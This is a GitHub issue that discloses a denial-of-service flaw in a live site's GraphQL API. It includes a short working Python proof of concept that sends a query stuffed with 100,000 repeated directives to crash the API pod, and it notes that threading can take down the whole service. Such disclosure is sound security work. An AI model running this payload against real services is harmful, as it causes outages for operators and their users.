Skip to content

fix: uncontrolled resource consumption #412

@nullswan

Description

@nullswan

Describe the bug

You can crash the API pod by overloading the graphql parser.

With a bit of threading you can take down the whole API:
image

To Reproduce

import requests
import time

url = 'https://s42.app/graphql'
max_size = int(1e5)
payload = {'query': 'query{\n__typename ' + ('@a'*max_size) + '\n}', 'variables': {}, 'operationName': None}

headers = {
    'Content-Type': 'application/json',
}

try:
    start = time.monotonic()
    response = requests.request('POST', url, headers=headers, json=payload)
    end = time.monotonic()
    print(response.text)
    print(f'Elapsed time: {end-start}')
except requests.exceptions.ConnectionError:
    print('Connection closed.')

Expected behavior

No response

Relevant log output

No response

Version of software

idk

Environment

Live (https://s42.app)

Additional context

No response

Code of Conduct

  • I agree to follow this project's Code of Conduct

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions